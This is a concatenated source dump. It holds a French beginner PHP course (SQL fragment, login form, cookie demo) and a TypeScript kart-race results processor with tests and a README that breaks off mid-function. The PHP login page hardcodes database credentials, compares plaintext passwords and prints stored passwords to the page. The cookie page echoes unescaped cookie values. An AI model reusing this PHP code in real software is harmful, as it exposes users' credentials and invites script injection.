NUM_EMPRUNTEUR numeric,
ISBN char(13) not null,
constraint EXEMPLAIREPK primary key (NUM_EXEMPLAIRE),
constraint OUVRAGEFK foreign key (ISBN) references OUVRAGE
<file_sep>/siteweb/Forum avec base/login.php
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
</script>
</head>
<body>
<div class="blog">
<h1>blog</h1>
</div>
<div class="login">
<form action="#" method="POST">
<p>
<label for="username">Pseudonyme : </label><input type="text" name="username" placeholder="Pseudonyme" />
<br/>
<br/>
<label for="password">Mot de passe : </label><input type="<PASSWORD>" name="password" placeholder="<PASSWORD>" />
<p class="error">Pseudonyme ou mot de passe incorrect.</p>
<input type="submit" name="Submit" value="Poster"/>
</p>
</form>
</div>
</body>
</html>
<?php
//Connexion bdd Mysql
try
{
$bdd = new PDO('mysql:host=localhost;dbname=facture', 'Ludus', 'Ludus',array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
}
catch (Exception $e)
{
die('Erreur : ' . $e->getMessage());
}
$username= $bdd->query('SELECT username FROM utilisateurs');
$password= $bdd->query('SELECT password FROM utilisateurs');
echo'<br>';
$res=$username->fetch();//retourne 1 ligne d'enregistrements
print_r($res);
echo'<br>';
$res2=$password->fetch();//retourne 1 ligne d'enregistrements
print_r($res2);
echo '<br/>';
$has_session_started="no";
if(isset($_POST['Submit'])) {
if(($_POST['username']==$res['username']) AND ($_POST['password']==$res2['password'])){
echo'<h1>ça marche</h1><br>';
echo'username entré : ';
print_r($_POST['username']);
echo'<br>Username requis :';
echo $res['username'];
echo'<br>';
echo'mot de passe entré : ';
print_r($_POST['password']);
echo'<br>mot de passe requis :';
echo $res['password'];
echo'<br>';
}else{
echo'<h1>ça ne marche pas</h1><br>';
echo'username entré : ';
print_r($_POST['username']);
echo'<br>Username requis :';
echo $res['username'];
echo'<br>';
echo'mot de passe entré : ';
echo password_hash($_POST['password'], PASSWORD_DEFAULT)."\n";
echo'<br>mot de passe requis :';
echo $res2['password'];
echo'<br>';
}
}
//Appuyer sur le bouton "Poster" requis pour lire le code
/*if(isset($_POST['Submit'])) {
if (isset($_POST['$res']) AND isset($_POST['$res2'])){
//TRAITEMENT FORMULAIRE
//Vérification des champs à remplir
if (($_POST['username'] <> $res) OR ($_POST['password'] <> $res2)) {
?>
<style type="text/css" href="style.css">
.login .error{
visibility:visible;
}
</style>
<?php
}else{
?>
<style type="text/css" href="style.css">
.login .error{
visibility:hidden;
}
</style>
<?php
session_start();
$_SESSION["id"] = "on";
}
}
else{
echo 'Il faut renseigner le pseudonyme et le mot de passe.</br>';
}
}
if (session_status() !== PHP_SESSION_NONE) {
header("Location: ../forum avec base/forum.php");
}*/
?> <file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/informations_cookies.php
<pre>
<?php
print_r($_COOKIE);//affiche les variables d'environnement $_Get si, isset()
?>
</pre>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>Title of the document</title>
</head>
<body>
<p>Re-bonjour !</p>
<p>
<p>
Hé ! Je me souviens de toi !<br />
Tu t'appelles <?php echo $_COOKIE['pseudo']; ?> et tu viens de
<?php echo $_COOKIE['pays']; ?> c'est bien ça ? </p>
<?php
unset($_COOKIE['pays']);//kill cookie
//ou
setcookie('pays','france', time()-1); //expired cookie
?>
</p>
</body>
</html> | c416bf147828363ff1d74cfb80d9f50ddfe380ac | [
"SQL",
"Text",
"PHP"
] | 23 | PHP | Varkoff/Cours-WEB | 9b7f085c544a052e989b90a78827f6a3ceb190ca | d4594a4d47bb147477a81cc4cdbcf94591b8f386 |
refs/heads/main | <repo_name>matheuspr96/KeyValueGRPC<file_sep>/README.md
# KeyValueGRPC
Projeto da disciplina sistemas distribuídos com o intuito de criar uma aplicação JAVA que faz comunicação usando GRPC
| e674295b530d0868b82bd0f8ddc3347e3b689eea | [
"Markdown"
] | 1 | Markdown | matheuspr96/KeyValueGRPC | 94b12e17b0b8192f5659341e4e5b44fadcf12a00 | e939aa022be8a2f1ee9185f4cc3f40203a7d022a |
refs/heads/main | <file_sep># SubMission4
hasil latihan dari dicoding, tantangan terakhir untuk lulus android pemula di dicoding tutorial
| e12a1399feea7a5aed65d916db05194ce9c46e1e | [
"Markdown"
] | 1 | Markdown | kalitrack18/SubMission4 | baeff0daed8fe44e7d16ca80d4214c86277ff84a | aa164af4dc8b7c9a7e48d4439c9f563381b0d0e4 |
refs/heads/master | <repo_name>lopes-gustavo/gympass<file_sep>/src/definitions/resultadoDaProva.ts
import { Duration } from 'moment';
/**
* @interface
* Handle a single line from {@link KartRunDataProcessor}
*/
export interface ResultadoDoPiloto {
posicaoChegada: number;
codigoPiloto: string;
nomePiloto: string;
qntdVoltasCompletadas: number;
tempoTotalDeProva: Duration;
melhorVolta: {volta: number, tempo: Duration};
piorVolta: {volta: number, tempo: Duration};
velocidadeMedia: number;
tempoAposVencedor?: Duration;
}
export type ResultadoDaProva = ResultadoDoPiloto[];
<file_sep>/src/services/kartRunDataProcessor.spec.ts
import { Duration, duration } from 'moment';
import { expect } from 'chai';
import { KartRunDataProcessor } from './kartRunDataProcessor';
import { Voltas } from '../definitions/dadosDeUmaVolta';
describe('KartRunDataProcessor', () => {
it('should process run data with only 1 runner and 1 lap', () => {
const dataProcessor = new KartRunDataProcessor(1);
const result = dataProcessor.processaDados([{
velMediaVolta: 15.5,
numVolta: 1,
tempoVolta: duration(1500),
codigoPiloto: 'codigoPiloto1',
nomePiloto: 'nomePiloto1',
horarioRegistrado: duration(1500),
}]);
expect(result).to.be.an('array');
expect(result).to.have.property('length', 1);
expect(result[0]).to.have.property('posicaoChegada', 1);
expect(result[0]).to.have.property('codigoPiloto', 'codigoPiloto1');
expect(result[0]).to.have.property('nomePiloto', 'nomePiloto1');
expect(result[0]).to.have.property('qntdVoltasCompletadas', 1);
expect(result[0]).to.have.property('tempoTotalDeProva');
expect(result[0].tempoTotalDeProva.asMilliseconds()).to.be.eq(1500);
expect(result[0]).to.have.property('melhorVolta');
expect(result[0].melhorVolta).to.have.property('volta', 1);
expect(result[0].melhorVolta.tempo.asMilliseconds()).to.be.eq(1500);
expect(result[0]).to.have.property('piorVolta');
expect(result[0].piorVolta).to.have.property('volta', 1);
expect(result[0].piorVolta.tempo.asMilliseconds()).to.be.eq(1500);
expect(result[0]).to.have.property('velocidadeMedia', 15.5);
expect(result[0]).to.have.property('tempoAposVencedor');
expect((result[0].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(0);
});
it('should process run data with 2 runners and 1 lap, both finishing the run', () => {
// Corrida de 1 volta
const dataProcessor = new KartRunDataProcessor(1);
const data: Voltas = [
{
velMediaVolta: 15.5,
numVolta: 1,
tempoVolta: duration(1500),
codigoPiloto: 'codigoPiloto1',
nomePiloto: 'nomePiloto1',
horarioRegistrado: duration(1500),
},
{
velMediaVolta: 15.4,
numVolta: 1,
tempoVolta: duration(1550),
codigoPiloto: 'codigoPiloto2',
nomePiloto: 'nomePiloto2',
horarioRegistrado: duration(1600),
}
];
const result = dataProcessor.processaDados(data);
expect(result).to.be.an('array');
expect(result).to.have.property('length', 2);
expect(result[0]).to.have.property('posicaoChegada', 1);
expect(result[0]).to.have.property('codigoPiloto', 'codigoPiloto1');
expect(result[0]).to.have.property('nomePiloto', 'nomePiloto1');
expect(result[0]).to.have.property('qntdVoltasCompletadas', 1);
expect(result[0]).to.have.property('tempoTotalDeProva');
expect(result[0].tempoTotalDeProva.asMilliseconds()).to.be.eq(1500);
expect(result[0]).to.have.property('melhorVolta');
expect(result[0].melhorVolta).to.have.property('volta', 1);
expect(result[0].melhorVolta.tempo.asMilliseconds()).to.be.eq(1500);
expect(result[0]).to.have.property('piorVolta');
expect(result[0].piorVolta).to.have.property('volta', 1);
expect(result[0].piorVolta.tempo.asMilliseconds()).to.be.eq(1500);
expect(result[0]).to.have.property('velocidadeMedia', 15.5);
expect(result[0]).to.have.property('tempoAposVencedor');
expect((result[0].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(0);
expect(result[1]).to.have.property('posicaoChegada', 2);
expect(result[1]).to.have.property('codigoPiloto', 'codigoPiloto2');
expect(result[1]).to.have.property('nomePiloto', 'nomePiloto2');
expect(result[1]).to.have.property('qntdVoltasCompletadas', 0);
expect(result[1]).to.have.property('tempoTotalDeProva');
expect(result[1].tempoTotalDeProva.asMilliseconds()).to.be.eq(1600);
expect(result[1]).to.have.property('melhorVolta');
expect(result[1].melhorVolta).to.have.property('volta', 1);
expect(result[1].melhorVolta.tempo.asMilliseconds()).to.be.eq(1550);
expect(result[1]).to.have.property('piorVolta');
expect(result[1].piorVolta).to.have.property('volta', 1);
expect(result[1].piorVolta.tempo.asMilliseconds()).to.be.eq(1550);
expect(result[1]).to.have.property('velocidadeMedia', 15.4);
expect(result[1]).to.have.property('tempoAposVencedor');
expect((result[1].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(100);
});
it('should process run data with 2 runners and 2 laps, both finishing the run', () => {
const dataProcessor = new KartRunDataProcessor(2);
const data: Voltas = [
{
numVolta: 1,
velMediaVolta: 15.5,
tempoVolta: duration(1500),
codigoPiloto: 'codigoPiloto1',
nomePiloto: 'nomePiloto1',
horarioRegistrado: duration(1500),
},
{
velMediaVolta: 15.4,
numVolta: 1,
tempoVolta: duration(1600),
codigoPiloto: 'codigoPiloto2',
nomePiloto: 'nomePiloto2',
horarioRegistrado: duration(1600),
},
{
velMediaVolta: 15.6,
numVolta: 2,
tempoVolta: duration(1400),
codigoPiloto: 'codigoPiloto2',
nomePiloto: 'nomePiloto2',
horarioRegistrado: duration(1600).add(1400),
},
{
velMediaVolta: 15.4,
numVolta: 2,
tempoVolta: duration(1600),
codigoPiloto: 'codigoPiloto1',
nomePiloto: 'nomePiloto1',
horarioRegistrado: duration(1500).add(1600),
}
];
const result = dataProcessor.processaDados(data);
expect(result).to.be.an('array');
expect(result).to.have.property('length', 2);
expect(result[0]).to.have.property('posicaoChegada', 1);
expect(result[0]).to.have.property('codigoPiloto', 'codigoPiloto2');
expect(result[0]).to.have.property('nomePiloto', 'nomePiloto2');
expect(result[0]).to.have.property('qntdVoltasCompletadas', 2);
expect(result[0]).to.have.property('tempoTotalDeProva');
expect(result[0].tempoTotalDeProva.asMilliseconds()).to.be.eq(3000);
expect(result[0]).to.have.property('melhorVolta');
expect(result[0].melhorVolta).to.have.property('volta', 2);
expect(result[0].melhorVolta.tempo.asMilliseconds()).to.be.eq(1400);
expect(result[0]).to.have.property('piorVolta');
expect(result[0].piorVolta).to.have.property('volta', 1);
expect(result[0].piorVolta.tempo.asMilliseconds()).to.be.eq(1600);
expect(result[0]).to.have.property('velocidadeMedia', 15.5);
expect(result[0]).to.have.property('tempoAposVencedor');
expect((result[0].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(0);
expect(result[1]).to.have.property('posicaoChegada', 2);
expect(result[1]).to.have.property('codigoPiloto', 'codigoPiloto1');
expect(result[1]).to.have.property('nomePiloto', 'nomePiloto1');
expect(result[1]).to.have.property('qntdVoltasCompletadas', 1);
expect(result[1]).to.have.property('tempoTotalDeProva');
expect(result[1].tempoTotalDeProva.asMilliseconds()).to.be.eq(3100);
expect(result[1]).to.have.property('melhorVolta');
expect(result[1].melhorVolta).to.have.property('volta', 1);
expect(result[1].melhorVolta.tempo.asMilliseconds()).to.be.eq(1500);
expect(result[1]).to.have.property('piorVolta');
expect(result[1].piorVolta).to.have.property('volta', 2);
expect(result[1].piorVolta.tempo.asMilliseconds()).to.be.eq(1600);
expect(result[1]).to.have.property('velocidadeMedia', 15.45);
expect(result[1]).to.have.property('tempoAposVencedor');
expect((result[1].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(100);
});
it('should process run data with 3 runners and 2 laps, but only 2 finishing the run', () => {
const dataProcessor = new KartRunDataProcessor(2);
const data = [
{
numVolta: 1,
codigoPiloto: 'codigoPiloto1',
nomePiloto: 'nomePiloto1',
velMediaVolta: 15.5,
tempoVolta: duration(1500),
horarioRegistrado: duration(23, 'h').add(1500),
},
{
numVolta: 1,
codigoPiloto: 'codigoPiloto2',
nomePiloto: 'nomePiloto2',
velMediaVolta: 15.4,
tempoVolta: duration(1600),
horarioRegistrado: duration(23, 'h').add(1600),
},
{
numVolta: 1,
codigoPiloto: 'codigoPiloto3',
nomePiloto: 'nomePiloto3',
velMediaVolta: 16.0,
tempoVolta: duration(1300),
horarioRegistrado: duration(23, 'h').add(1300),
},
{
numVolta: 2,
codigoPiloto: 'codigoPiloto2',
nomePiloto: 'nomePiloto2',
velMediaVolta: 15.6,
horarioRegistrado: duration(23, 'h').add(1600).add(1400),
tempoVolta: duration(1400),
},
{
numVolta: 2,
codigoPiloto: 'codigoPiloto1',
nomePiloto: 'nomePiloto1',
velMediaVolta: 15.4,
tempoVolta: duration(1600),
horarioRegistrado: duration(23, 'h').add(1500).add(1600),
}
];
const result = dataProcessor.processaDados(data);
expect(result).to.be.an('array');
expect(result).to.have.property('length', 3);
expect(result[0]).to.have.property('posicaoChegada', 1);
expect(result[0]).to.have.property('codigoPiloto', 'codigoPiloto2');
expect(result[0]).to.have.property('nomePiloto', 'nomePiloto2');
expect(result[0]).to.have.property('qntdVoltasCompletadas', 2);
expect(result[0]).to.have.property('tempoTotalDeProva');
expect(result[0].tempoTotalDeProva.asMilliseconds()).to.be.eq(3000);
expect(result[0]).to.have.property('melhorVolta');
expect(result[0].melhorVolta).to.have.property('volta', 2);
expect(result[0].melhorVolta.tempo.asMilliseconds()).to.be.eq(1400);
expect(result[0]).to.have.property('piorVolta');
expect(result[0].piorVolta).to.have.property('volta', 1);
expect(result[0].piorVolta.tempo.asMilliseconds()).to.be.eq(1600);
expect(result[0]).to.have.property('velocidadeMedia', 15.5);
expect(result[0]).to.have.property('tempoAposVencedor');
expect((result[0].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(0);
expect(result[1]).to.have.property('posicaoChegada', 2);
expect(result[1]).to.have.property('codigoPiloto', 'codigoPiloto1');
expect(result[1]).to.have.property('nomePiloto', 'nomePiloto1');
expect(result[1]).to.have.property('qntdVoltasCompletadas', 1);
expect(result[1]).to.have.property('tempoTotalDeProva');
expect(result[1].tempoTotalDeProva.asMilliseconds()).to.be.eq(3100);
expect(result[1]).to.have.property('melhorVolta');
expect(result[1].melhorVolta).to.have.property('volta', 1);
expect(result[1].melhorVolta.tempo.asMilliseconds()).to.be.eq(1500);
expect(result[1]).to.have.property('piorVolta');
expect(result[1].piorVolta).to.have.property('volta', 2);
expect(result[1].piorVolta.tempo.asMilliseconds()).to.be.eq(1600);
expect(result[1]).to.have.property('velocidadeMedia', 15.45);
expect(result[1]).to.have.property('tempoAposVencedor');
expect((result[1].tempoAposVencedor as Duration).asMilliseconds()).to.be.eq(100);
expect(result[2]).to.have.property('posicaoChegada', 3);
expect(result[2]).to.have.property('codigoPiloto', 'codigoPiloto3');
expect(result[2]).to.have.property('nomePiloto', 'nomePiloto3');
expect(result[2]).to.have.property('qntdVoltasCompletadas', 1);
expect(result[2]).to.have.property('tempoTotalDeProva');
expect(result[2].tempoTotalDeProva.asMilliseconds()).to.be.eq(1300);
expect(result[2]).to.have.property('melhorVolta');
expect(result[2].melhorVolta).to.have.property('volta', 1);
expect(result[2].melhorVolta.tempo.asMilliseconds()).to.be.eq(1300);
expect(result[2]).to.have.property('piorVolta');
expect(result[2].piorVolta).to.have.property('volta', 1);
expect(result[2].piorVolta.tempo.asMilliseconds()).to.be.eq(1300);
expect(result[2]).to.have.property('velocidadeMedia', 16);
expect(result[2]).to.have.property('tempoAposVencedor');
expect(result[2].tempoAposVencedor).to.be.eq(undefined);
});
});
<file_sep>/src/view/consoleSender.ts
import { MomentFormatter } from '../utils/momentFormatter';
import { ResultadoDaProva } from '../definitions/resultadoDaProva';
/**
* @class
*
* Display data into console
*/
export class ConsoleSender {
output(resultado: ResultadoDaProva): void {
const resultadoFormatado = resultado.map(volta => {
const tempoAposVencedor = volta.tempoAposVencedor ? `+${MomentFormatter.format(volta.tempoAposVencedor, `s[s] SSS[ms]`)}` : 'Não completou a prova';
const tempoTotalDeProva = MomentFormatter.format(volta.tempoTotalDeProva, 'm[m] ss[s] SSS[ms]');
const melhorVolta = `${volta.melhorVolta.volta} (${MomentFormatter.format(volta.melhorVolta.tempo, 'm[m] ss[s] SSS[ms]')})`;
const piorVolta = `${volta.piorVolta.volta} (${MomentFormatter.format(volta.piorVolta.tempo, 'm[m] ss[s] SSS[ms]')})`;
const velocidadeMedia = (volta.velocidadeMedia).toFixed(3);
return {
posicaoChegada: volta.posicaoChegada,
codigoPiloto: volta.codigoPiloto,
nomePiloto: volta.nomePiloto,
qntdVoltasCompletadas: volta.qntdVoltasCompletadas,
tempoTotalDeProva: tempoTotalDeProva,
melhorVolta: melhorVolta,
piorVolta: piorVolta,
velocidadeMedia: velocidadeMedia,
tempoAposVencedor: tempoAposVencedor,
};
});
console.table(resultadoFormatado);
}
}
<file_sep>/src/index.ts
import path from 'path';
import { KartRunDataProcessor } from './services/kartRunDataProcessor';
import { ConsoleSender } from './view/consoleSender';
import { FileParser } from './dataAccessLayer/fileParser';
if (!process.version.includes('v11')) {
console.error('\x1b[31m');
console.error('ERROR');
console.error('#########################################################');
console.error('# Esse script necessita do NodeJS v11.0.0 para executar #');
console.error('#########################################################');
console.error('\x1b[0m');
process.exit(0);
}
const nomeDoArquivo = path.join(path.dirname(__dirname), 'logs', 'log.txt');
const numeroTotalDeVoltas = 4;
// Transforma o arquivo texto em objeto reconhecível pelo Typescript
const dadosDaCorrida = new FileParser().parse(nomeDoArquivo, 'utf-8');
// Processa os dados de entrada
const resultadoDaCorrida = new KartRunDataProcessor(numeroTotalDeVoltas).processaDados(dadosDaCorrida);
// Printa o resultado no console
new ConsoleSender().output(resultadoDaCorrida);
<file_sep>/src/utils/momentFormatter.ts
import { duration, Duration, utc } from 'moment';
export abstract class MomentFormatter {
public static format(dur: Duration | number, format: string) {
return utc(duration(dur).asMilliseconds()).format(format);
}
}
<file_sep>/src/view/consoleSender.spec.ts
import { duration } from 'moment';
import { stub } from 'sinon';
import chai, { expect } from 'chai';
import sinonChai from 'sinon-chai';
import { ConsoleSender } from './consoleSender';
chai.use(sinonChai);
describe('ConsoleSender', () => {
const consoleStub = stub(console, 'table');
it('should invoke console.table if "tempoAposVencedor" is undefined with "Não completou a prova"', () => {
new ConsoleSender().output([{
codigoPiloto: 'codigoPiloto',
melhorVolta: {tempo: duration(100), volta: 1},
nomePiloto: 'nomePiloto',
piorVolta: {tempo: duration(100), volta: 1},
posicaoChegada: 0,
qntdVoltasCompletadas: 0,
tempoAposVencedor: undefined,
tempoTotalDeProva: duration(100),
velocidadeMedia: 0
}]);
expect(consoleStub).to.be.calledWith([{
codigoPiloto: 'codigoPiloto',
melhorVolta: '1 (0m 00s 100ms)',
nomePiloto: 'nomePiloto',
piorVolta: '1 (0m 00s 100ms)',
posicaoChegada: 0,
qntdVoltasCompletadas: 0,
tempoAposVencedor: 'Não completou a prova',
tempoTotalDeProva: '0m 00s 100ms',
velocidadeMedia: '0.000'
}]);
});
it('should invoke console.table if "tempoAposVencedor" is not undefined', () => {
new ConsoleSender().output([{
codigoPiloto: 'codigoPiloto',
melhorVolta: {tempo: duration(100), volta: 1},
nomePiloto: 'nomePiloto',
piorVolta: {tempo: duration(100), volta: 1},
posicaoChegada: 0,
qntdVoltasCompletadas: 0,
tempoAposVencedor: duration(100),
tempoTotalDeProva: duration(100),
velocidadeMedia: 0
}]);
expect(consoleStub).to.be.calledWith([{
codigoPiloto: 'codigoPiloto',
melhorVolta: '1 (0m 00s 100ms)',
nomePiloto: 'nomePiloto',
piorVolta: '1 (0m 00s 100ms)',
posicaoChegada: 0,
qntdVoltasCompletadas: 0,
tempoAposVencedor: '+0s 100ms',
tempoTotalDeProva: '0m 00s 100ms',
velocidadeMedia: '0.000'
}]);
});
});
<file_sep>/README.md
# Gympass
**É necessário o uso do NodeJS v11.0.0 para executar esse script.**
### Para rodar o script
1. Execute `npm install --production` para instalar as dependências
1. Execute `npm start` para rodar o script
### Para rodar os testes do script
1. Execute `npm install` para instalar as dependências
1. Execute `npm test` para rodar os teste unitários do projeto
1. Será criada uma pasta `coverage` na raiz do projeto contendo os dados de cobertura de código do mesmo
--------------------------
### Produção
O script foi criado utilizando Typescript.
Em um ambiente de desenvolvimento, é possível rodar o script a partir do próprio Typescript,
utilizando o `ts-node`.
Porém, para um ambiente de produção, é recomendado buildar o projeto e rodar o script a partir do javascript
gerado.
Para buildar o projeto:
1. Executar o comando `npm run build`. Isso gerará uma pasta `app`, na raiz do projeto.
1. Executar o comando `node app/index` para rodar o script através do Javascript gerado.
--------------------------
### Estrutura do projeto
O projeto está estruturado conforme o diagrama abaixo:

A escolha por essa arquitetura foi tomada para modularizar a entrada, processamento e saída de dados.
Dessa forma, caso os dados de entrada sejam alterados, ou os dados venham por outra forma (user input, http request, arquivo .xml, etc), a alteração é pontual e mais simples de resolver do que se o código estivesse acoplado.
De maneira similar, hoje o script tem os dados de saída enviados para o `stdout`. Porém, caso queira enviar os dados por email ou salvar em um arquivo texto, basta alterar o componente ou criar um novo componente de saída.
<file_sep>/src/utils/momentFormatter.spec.ts
import { expect } from 'chai';
import { duration } from 'moment';
import { MomentFormatter } from './momentFormatter';
describe('MomentFormatter', () => {
it('should return a "duration" formatted properly', () => {
const out = MomentFormatter.format(duration(1500), 'ss[s] SSS[ms]');
expect(out).to.be.eq('01s 500ms');
});
});
<file_sep>/src/definitions/dadosDeUmaVolta.ts
import { Duration } from 'moment';
/**
* @interface
* Interface para volta
*/
export interface DadosDeUmaVolta {
horarioRegistrado: Duration;
codigoPiloto: string;
nomePiloto: string;
numVolta: number;
tempoVolta: Duration;
velMediaVolta: number;
}
/**
* @interface
* Interface para um array de voltas
*/
export type Voltas = DadosDeUmaVolta[];
<file_sep>/src/dataAccessLayer/fileParser.ts
import fs from 'fs';
import { duration } from 'moment';
import { DadosDeUmaVolta, Voltas } from '../definitions/dadosDeUmaVolta';
/**
* @class
*
* Parse a file into {@link DadosDeUmaVolta} structure
*/
export class FileParser {
public parse(fileName: string, encoding: string): Voltas {
const file = this.readDataFromFile(fileName, encoding);
const lines = this.parseFile(file);
return lines;
}
private readDataFromFile(fileName: string, encoding: string): string {
return fs.readFileSync(fileName, encoding);
}
private parseFile(file: string): Voltas {
const lines: Voltas = file
.split(/\r?\n/) // Get each line of the file
.map(line => line.match(new RegExp('[^\\s*]*[^\\s*]', 'g')) as string[]) // Transform each line into an array
.reduce((acc: Voltas, line: string[]) => {
if (!line) { return acc; }
const lapLog: DadosDeUmaVolta = {
horarioRegistrado: duration(line[0]),
codigoPiloto: line[1],
nomePiloto: line[3],
numVolta: Number(line[4]),
tempoVolta: duration(`0:${line[5]}`),
velMediaVolta: Number(line[6].replace(',', '.')),
};
return [...acc, lapLog];
}, [] as Voltas); // Transform each array line into an object
return lines;
}
}
<file_sep>/src/services/kartRunDataProcessor.ts
import { Duration, duration } from 'moment';
import { DadosDeUmaVolta, Voltas } from '../definitions/dadosDeUmaVolta';
import { ResultadoDaProva } from '../definitions/resultadoDaProva';
export class KartRunDataProcessor {
constructor(private readonly numeroTotalDeVoltas: number) {
}
/**
* Processa os dados da corrida
* @param voltas
*/
public processaDados(voltas: Voltas) {
const {voltasOrdenadasPeloHorario, voltaDoVencedor, horarioDeInicioDaCorrida} = this.buscaDadosDaCorrida(voltas);
const resultadoDaCorrida: ResultadoDaProva = [];
let posicao = 1;
let contadorDeVoltas = this.numeroTotalDeVoltas;
/**
* O algoritmo a seguir é dado da seguinte forma:
* Percorre o array, já ordenado pela horário da volta, e:
* 1. Busca o melhor piloto (maior quantidade de voltas e menor tempo) no array.
* 2. Preenche os dados desse piloto, como "melhor tempo", "pior tempo", etc
* 3. Remove todos os dados desse piloto do array
* 4. Reinicia o processo até que não tenha nenhum dado a mais no array
*/
while (voltasOrdenadasPeloHorario.length) {
// Busca o index do melhor piloto dada as condições de maior quantidade de voltas completadas e menor tempo
// Como o array já está ordenado por tempo, pega o primeiro que está na volta em questão
const melhorPilotoNaVolta = voltasOrdenadasPeloHorario.find(volta => volta.numVolta === contadorDeVoltas);
// Se não encontrou nenhum piloto nessa volta, tenta na volta anterior
if (!melhorPilotoNaVolta) {
contadorDeVoltas--;
continue;
}
// Preenche os dados desse piloto
const posicaoChegada = posicao;
const codigoPiloto = melhorPilotoNaVolta.codigoPiloto;
const nomePiloto = melhorPilotoNaVolta.nomePiloto;
const quantidadeVoltasCompletadas = this.buscaQuantidadeVoltasCompletadas(voltasOrdenadasPeloHorario, melhorPilotoNaVolta, voltaDoVencedor);
const dadosDoPiloto = this.processaTemposDoPiloto(voltasOrdenadasPeloHorario, melhorPilotoNaVolta, voltaDoVencedor, horarioDeInicioDaCorrida);
// Adiciona dados do piloto no array de resultados
resultadoDaCorrida.push({
posicaoChegada: posicaoChegada,
codigoPiloto: codigoPiloto,
nomePiloto: nomePiloto,
qntdVoltasCompletadas: quantidadeVoltasCompletadas,
tempoTotalDeProva: dadosDoPiloto.tempoTotalDeProva,
melhorVolta: dadosDoPiloto.melhorVolta,
piorVolta: dadosDoPiloto.piorVolta,
velocidadeMedia: dadosDoPiloto.velocidadeMedia,
tempoAposVencedor: dadosDoPiloto.tempoAposVencedor,
});
// Remove todos os registros desse piloto no array de voltas
while (true) {
const index = voltasOrdenadasPeloHorario.findIndex(volta => volta.codigoPiloto === melhorPilotoNaVolta.codigoPiloto);
if (index < 0) { break; }
voltasOrdenadasPeloHorario.splice(index, 1);
}
// Posição já preenchida, adiciona 1 no contador
posicao++;
}
return resultadoDaCorrida;
}
/**
* Prepara e retorna algumas informações sobre a corrida
* @param voltas
*/
private buscaDadosDaCorrida(voltas: Voltas) {
const voltasOrdenadasPeloHorario = this.ordenaVoltasPeloHorario(voltas);
const voltaDoVencedor = this.buscaVoltaDoVencedor(voltasOrdenadasPeloHorario);
const horarioDeInicioDaCorrida = this.buscaHorarioDeInicioDaCorrida(voltasOrdenadasPeloHorario);
return {voltasOrdenadasPeloHorario, voltaDoVencedor, horarioDeInicioDaCorrida};
}
/**
* Ordena as voltas pelo horário registrado
* @param voltas
*/
private ordenaVoltasPeloHorario(voltas: Voltas) {
return voltas.sort(((a, b) => a.horarioRegistrado.asMilliseconds() - b.horarioRegistrado.asMilliseconds()));
}
/**
* Retorna o registro da volta que originou o vencedor da corrida
* @param voltasOrdenadasPeloHorario
*/
private buscaVoltaDoVencedor(voltasOrdenadasPeloHorario: Voltas) {
return voltasOrdenadasPeloHorario.find(volta => volta.numVolta === this.numeroTotalDeVoltas) as DadosDeUmaVolta;
}
/**
* Retorna o horário de início da corrida
* Parte da premissa que o piloto na pole position não gasta tempo para cruzar a linha de início
* @param voltasOrdenadasPeloHorario
*/
private buscaHorarioDeInicioDaCorrida(voltasOrdenadasPeloHorario: Voltas) {
const momentos = voltasOrdenadasPeloHorario
.filter(volta => volta.numVolta === 1) // Filtra todos os registros de primeira volta
.map(volta => volta.horarioRegistrado.clone().subtract(volta.tempoVolta)) // Subtrai o tempo da primeira volta do horário
// registrado
// dessa volta (pega quando cruzou a linha de início da
// corrida)
.sort((a, b) => a.asMilliseconds() - b.asMilliseconds()); // Ordena pelo horários registrados de cruzamento da linha de início
// Retorna o menor horário (significa que foi o horário de início da corrida, já que o piloto na pole position não gasta tempo para
// cruzar a linha de início
return momentos[0];
}
/**
* Busca a última volta completada antes do vencedor cruzar a linha de chegada
*
* @param voltasOrdenadasPeloHorario
* @param melhorCorredor
* @param voltaDoVencedor
*/
private buscaQuantidadeVoltasCompletadas(voltasOrdenadasPeloHorario: Voltas, melhorCorredor: DadosDeUmaVolta, voltaDoVencedor: DadosDeUmaVolta) {
const voltaCompletaAntesDoTerminoDaProva = voltasOrdenadasPeloHorario
.filter(volta => volta.codigoPiloto === melhorCorredor.codigoPiloto) // Filtra todas as voltas do piloto
.reverse() // Inverte a ordem do array (última volta completada está no início do array agora)
.find(volta => volta.horarioRegistrado <= voltaDoVencedor.horarioRegistrado) as DadosDeUmaVolta; // Busca a primeira
// volta completada antes do término da corrida
if (!voltaCompletaAntesDoTerminoDaProva) { return 0; } else { return voltaCompletaAntesDoTerminoDaProva.numVolta; }
}
/**
* Retorna os tempos do piloto, como melhor/pior volta, velocidade média, tempo de chegada após vencedor e tempo total de prova
*
* @param voltasOrdenadasPeloHorario
* @param piloto
* @param voltaDoVencedor
* @param horarioDeInicioDaCorrida
*/
private processaTemposDoPiloto(voltasOrdenadasPeloHorario: Voltas, piloto: DadosDeUmaVolta, voltaDoVencedor: DadosDeUmaVolta, horarioDeInicioDaCorrida: Duration) {
const melhorVolta = {tempo: duration(99999999999999), volta: 0};
const piorVolta = {tempo: duration(0), volta: 0};
let tempoAposVencedor: Duration | undefined = piloto.horarioRegistrado.clone().subtract(voltaDoVencedor.horarioRegistrado);
let velocidadeMediaAccumulator = 0;
let ultimaVolta = 1;
// Inicia o tempo total da prova com o tempo gasto para cruzar a linha de início
const tempoTotalDeProva = this.buscaTempoParaCruzarALinhaDeInicio(voltasOrdenadasPeloHorario, piloto.codigoPiloto, horarioDeInicioDaCorrida);
voltasOrdenadasPeloHorario.forEach(volta => {
// Ignora dados que não são referente ao piloto
if (volta.codigoPiloto !== piloto.codigoPiloto) { return; }
// Atualiza a melhor volta caso a volta analisada tenha um tempo menor que a atual
if (volta.tempoVolta < melhorVolta.tempo) {
melhorVolta.tempo = volta.tempoVolta;
melhorVolta.volta = volta.numVolta;
}
